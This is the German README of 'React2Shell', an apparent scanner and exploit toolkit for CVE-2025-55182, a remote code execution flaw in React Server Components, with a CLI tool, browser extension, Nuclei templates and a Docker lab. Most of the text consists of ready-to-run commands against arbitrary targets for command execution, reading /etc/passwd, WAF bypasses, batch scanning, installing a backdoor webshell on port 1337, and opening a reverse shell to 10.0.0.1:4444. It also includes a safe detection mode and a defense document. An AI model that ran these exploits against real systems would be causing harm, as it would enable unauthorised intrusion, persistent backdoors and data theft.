CVE-2025-55182 Sicherheitstest-Kit: CLI-Scanner + Chrome-Erweiterung + Nuclei-Templates + Docker-Lab.
CVE-2025-55182 Scanner & Exploit-Toolkit für Next.js/React-Server-Components RCE.
React2Shell/
├── browser-extension/ # Chrome-Erweiterung zur browserbasierten Erkennung
│ ├── manifest.json
│ ├── content.js
│ ├── popup.html/js
│ └── background.js
├── cli/ # Kommandozeilen-Scanner & Exploit-Tool
│ ├── react2shell.py
│ └── requirements.txt
├── docs/ # Lernorientierte Dokumentation
│ ├── README.md # Lernpfad-Index
│ ├── 01-fundamentals.md
│ ├── 02-vulnerability.md
│ ├── 03-exploitation.md
│ ├── 04-frameworks.md
│ └── 05-defense.md
├── lab/ # Docker-Lab-Umgebung zum Testen
│ ├── vulnerable/ # Verwundbare Next.js-App (React 19.2.0)
│ ├── patched/ # Gepatchte Next.js-App (React 19.2.1)
│ ├── waf/ # ModSecurity-WAF-Container
│ ├── waku-app/ # Verwundbare Waku-App (React 19.2.0)
│ ├── react-router-app/ # Verwundbare React-Router-App (React 19.2.0)
│ └── docker-compose.yml
└── nuclei/ # Nuclei-Vorlagen
├── CVE-2025-55182.yaml # RCE-Erkennung (führt Code aus)
└── CVE-2025-55182-safe.yaml # Sichere Seitenkanal-Erkennung
cd cli
pip install -r requirements.txt
# Ziel scannen
python react2shell.py https://target.com
# Befehl ausführen
python react2shell.py https://target.com -c "id"
# Interaktive Shell
python react2shell.py https://target.com -i
chrome://extensions/browser-extensioncd lab
docker-compose up -d
# Ausnutzbare Ziele:
# Next.js Verwundbar: http://localhost:3011 ← Volle RCE
# Waku Verwundbar: http://localhost:3014 ← RCE (blind - keine HTTP-Ausgabe)
# React Router: http://localhost:3015 ← Volle RCE (ESM)
# Geschützte Ziele:
# Next.js Gepatcht: http://localhost:3012 ← Sicher
# WAF-geschützt: http://localhost:3013 ← ModSecurity blockiert Exploits
nuclei -t nuclei/CVE-2025-55182.yaml -u https://target.com
cli/react2shell.py)--detect) – Automatische Erkennung des Ziel-Frameworks-E) – RSC-Endpunkte automatisch entdecken-c) – Beliebige Befehle ausführen-i) – Permanente Befehlssitzung-r) – Mehrere Typen: nc, bash, perl, python, ruby--webshell) – Permanente Backdoor-Installation-f) – Remote-Dateien direkt lesen-L) – package.json auf verwundbare Versionen prüfen-w), Unicode-Kodierung (-u), Vercel-spezifisch (-V)-x) – Routing über Burp Suite oder andere Proxys-s) – Seitenkanal-Erkennung ohne Codeausführungbrowser-extension/)lab/)/RSC/F/{x}/{y}.txt-Pfadformatprocess.getBuiltinModule()# Grundscan (erkennt Framework automatisch)
python react2shell.py https://target.com
# Framework erkennen und Endpunkte enumerieren
python react2shell.py https://target.com --detect
python react2shell.py https://target.com -E -v
# Befehl auf verschiedenen Frameworks ausführen
python react2shell.py https://target.com -c "id" # Next.js (automatisch)
python react2shell.py https://target.com -F waku -c "id" # Waku (blinde RCE)
python react2shell.py https://target.com -F react-router -c "id" # React Router (ESM)
# Lab-Beispiele mit Ausgabe
python react2shell.py http://localhost:3011 -c "cat /app/secret/flag.txt" # Next.js
python react2shell.py http://localhost:3015 -F react-router -c "id" # React Router
# Befehl mit allen WAF-Bypasses ausführen
python react2shell.py https://target.com -c "cat /etc/passwd" -w -u
# Interaktive Shell über Proxy
python react2shell.py https://target.com -i -x http://127.0.0.1:8080
# In-Memory-Webshell installieren (erstellt Backdoor auf Port 1337)
python react2shell.py https://target.com --webshell mypassword
# Zugriff: curl 'http://target:1337/?p=mypassword&cmd=id'
# Reverse Shell
python react2shell.py https://target.com -r -l 10.0.0.1 -p 4444 -S bash
# Lokales Projekt auf verwundbare Versionen scannen
python react2shell.py -L /path/to/project
# Stapelscan mit Ausgabe
python react2shell.py targets.txt -t 20 -o results.json -v
Ausführungsoptionen:
-c, --cmd Auszuführender Befehl
-i, --interactive Interaktive Shell-Sitzung
-r, --reverse Reverse-Shell-Modus
-l, --lhost Listener-Host
-p, --lport Listener-Port
-S, --shell-type Shell-Typ (nc, nc-mkfifo, bash, perl, python, ruby)
-f, --read-file Remote-Datei lesen
Scan-Optionen:
-P, --path Zu testende Pfade (kommasepariert oder Datei)
-t, --threads Anzahl der Threads (Standard: 10)
-T, --timeout Request-Timeout in Sekunden (Standard: 10)
-s, --safe Sicherer Modus (keine Codeausführung)
-L, --local Lokales Projektverzeichnis scannen
-F, --framework Ziel-Framework (auto, nextjs, waku, react-router, expo)
-E, --enumerate RSC-Endpunkte vor der Ausnutzung enumerieren
--detect Nur Framework erkennen und Endpunkte auflisten
--webshell In-Memory-Webshell auf Port 1337 installieren
--rce RCE-PoC-Modus (Standard: sicherer Modus)
Bypass-Optionen:
-w, --waf-bypass Junk-Daten-Padding
-W, --waf-size Junk-Größe in KB (Standard: 128)
-u, --unicode Unicode-Kodierungs-Bypass
-V, --vercel-bypass Vercel-spezifischer Bypass
--windows Windows-PowerShell-Payloads
Request-Optionen:
-x, --proxy Proxy-URL (z. B. http://127.0.0.1:8080)
-H, --header Benutzerdefinierte Header
-A, --user-agent Benutzerdefinierter User-Agent
-k, --insecure SSL-Verifizierung deaktivieren
Ausgabeoptionen:
-o, --output Ergebnisse als JSON speichern
-v, --verbose Ausführliche Ausgabe mit Versionserkennung
-q, --quiet Nur verwundbare Ziele anzeigen
--no-color Farben deaktivieren
--no-banner Banner ausblenden
| Feld | Wert |
|---|---|
| CVSS | 10.0 (Kritisch) |
| Auswirkung | Nicht authentifizierte Remote-Codeausführung |
| Betroffen | Jedes RSC-Framework, das verwundbare React-Versionen verwendet |
| Mechanismus | Prototype-Pollution über das React-Flight-Protokoll |